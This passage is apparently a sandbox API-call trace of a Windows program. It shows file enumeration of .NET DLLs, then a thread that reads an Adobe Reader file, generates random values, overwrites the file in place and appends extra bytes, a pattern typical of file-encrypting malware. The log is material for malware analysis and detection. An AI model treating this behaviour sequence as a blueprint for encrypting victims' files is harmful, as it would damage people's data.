dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44cfc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0049.396] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0049.396] wcscmp (_String1="System.AddIn.Contract.dll", _String2=".") returned 1 [0049.396] wcscmp (_String1="System.AddIn.Contract.dll", _String2="..") returned 1 [0049.396] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace922ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xace922ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacfe8f51, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.AddIn.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.AddIn.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3b5e7a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac3b5e7a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac4c081c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae5092b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Core.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.Core.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfae12e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadfae12e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfd428e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac558d9d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac558d9d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac6898a0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Data.Entity.Design.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.Data.Entity.Design.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a1495c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0a1495c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0a60c1c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Data.Entity.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.Data.Entity.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6898a0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac6898a0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaca8ddc7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Data.Linq.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.Data.Linq.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6e6ffe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6e6ffe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad7332be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Data.Services.Client.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.Data.Services.Client.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Data.Services.Design.dll", _String2=".") returned 1 [0049.397] wcscmp (_String1="System.Data.Services.Design.dll", _String2="..") returned 1 [0049.397] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0049.397] wcscmp (_String1="System.Data.Services.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Data.Services.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5092b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5092b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae555578, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb093011a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb093011a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb095627b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.Management.Instrumentation.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Management.Instrumentation.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfe8f51, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacfe8f51, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad0cd792, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.Net.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Net.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96ee048, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x78000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.ServiceModel.Web.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.ServiceModel.Web.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.Web.Abstractions.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Web.Abstractions.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe34b90, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xabe34b90, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabf193d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1ecdf7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac1ecdf7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac3b5e7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.Web.DynamicData.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Web.DynamicData.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc30cea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacc30cea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacd3b68c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.Web.Entity.Design.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Web.Entity.Design.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5edaf9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5edaf9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae71e5fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0049.398] wcscmp (_String1="System.Web.Entity.dll", _String2=".") returned 1 [0049.398] wcscmp (_String1="System.Web.Entity.dll", _String2="..") returned 1 [0049.398] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaeb525, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadaeb525, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadb11685, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0049.399] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2=".") returned 1 [0049.399] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2="..") returned 1 [0049.399] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab7cf064, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab7cf064, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabd0408e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0049.399] wcscmp (_String1="System.Web.Extensions.dll", _String2=".") returned 1 [0049.399] wcscmp (_String1="System.Web.Extensions.dll", _String2="..") returned 1 [0049.399] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae97fc00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae97fc00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0049.399] wcscmp (_String1="System.Web.Routing.dll", _String2=".") returned 1 [0049.399] wcscmp (_String1="System.Web.Routing.dll", _String2="..") returned 1 [0049.399] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a316a7b, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x6a316a7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x6a33cbd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0049.399] wcscmp (_String1="System.Windows.Presentation.dll", _String2=".") returned 1 [0049.399] wcscmp (_String1="System.Windows.Presentation.dll", _String2="..") returned 1 [0049.399] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97141a8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0049.399] wcscmp (_String1="System.WorkflowServices.dll", _String2=".") returned 1 [0049.399] wcscmp (_String1="System.WorkflowServices.dll", _String2="..") returned 1 [0049.399] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0049.399] wcscmp (_String1="System.Xml.Linq.dll", _String2=".") returned 1 [0049.399] wcscmp (_String1="System.Xml.Linq.dll", _String2="..") returned 1 [0049.399] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0049.399] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0049.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x488268) returned 1 [0049.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416c90) returned 1 [0049.400] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4465d8) returned 1 Thread: id = 361 os_tid = 0xc88 [0048.649] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm")) returned 0x20 [0058.310] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm", dwFileAttributes=0x20) returned 1 [0058.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbc0 [0058.311] GetFileSizeEx (in: hFile=0xbc0, lpFileSize=0x413fd94 | out: lpFileSize=0x413fd94*=17000) returned 1 [0058.311] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x4264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.311] ReadFile (in: hFile=0xbc0, lpBuffer=0x413fd18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x413fd14, lpOverlapped=0x0 | out: lpBuffer=0x413fd18*, lpNumberOfBytesRead=0x413fd14*=0x4, lpOverlapped=0x0) returned 1 [0058.313] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290c0 [0058.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290e8 [0058.313] NtQuerySystemTime (in: CurrentTime=0x413fcf4 | out: CurrentTime=0x413fcf4*=132174898222896000) returned 0x0 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x2f05d738 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x42f0bbed [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x6d25d147 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x7ea2667d [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x3c67cfa [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x24a5e57b [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x55ba1912 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x5dd24ca1 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x54f16732 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x580378f1 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x7fffb977 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x7a94dc4d [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x2b5d3a6c [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x67e77ee [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x154a974f [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x2ecb5732 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x3d8c8986 [0058.313] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x7e30980f [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x38addc99 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x1cd5bedd [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x36d08999 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x61f67404 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x2466d6a6 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x14dca2f4 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x65de122f [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x24267055 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x553bf101 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x3cdd4e27 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x68815653 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x507045e1 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x748f31a0 [0058.314] RtlRandomEx (in: Seed=0x413fd00 | out: Seed=0x413fd00) returned 0x5b785a8c [0058.329] ReadFile (in: hFile=0xbc0, lpBuffer=0x9628650, nNumberOfBytesToRead=0x4268, lpNumberOfBytesRead=0x413fcf0, lpOverlapped=0x0 | out: lpBuffer=0x9628650*, lpNumberOfBytesRead=0x413fcf0*=0x4268, lpOverlapped=0x0) returned 1 [0058.331] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.331] WriteFile (in: hFile=0xbc0, lpBuffer=0x9634e58*, nNumberOfBytesToWrite=0x4268, lpNumberOfBytesWritten=0x413fcec, lpOverlapped=0x0 | out: lpBuffer=0x9634e58*, lpNumberOfBytesWritten=0x413fcec*=0x4268, lpOverlapped=0x0) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2d0 [0059.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf2f8 [0059.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2f8) returned 1 [0059.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9634e58) returned 1 [0059.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9628650) returned 1 [0059.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437850) returned 1 [0059.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baa8) returned 1 [0059.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97ceb70 [0059.298] SetFilePointerEx (in: hFile=0xbc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.298] WriteFile (in: hFile=0xbc0, lpBuffer=0x449b20*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x413fd54, lpOverlapped=0x0 | out: lpBuffer=0x449b20*, lpNumberOfBytesWritten=0x413fd54*=0x107, lpOverlapped=0x0) returned 1 [0061.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449b20) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceae0) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf2f8) returned 1 [0061.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0061.633] 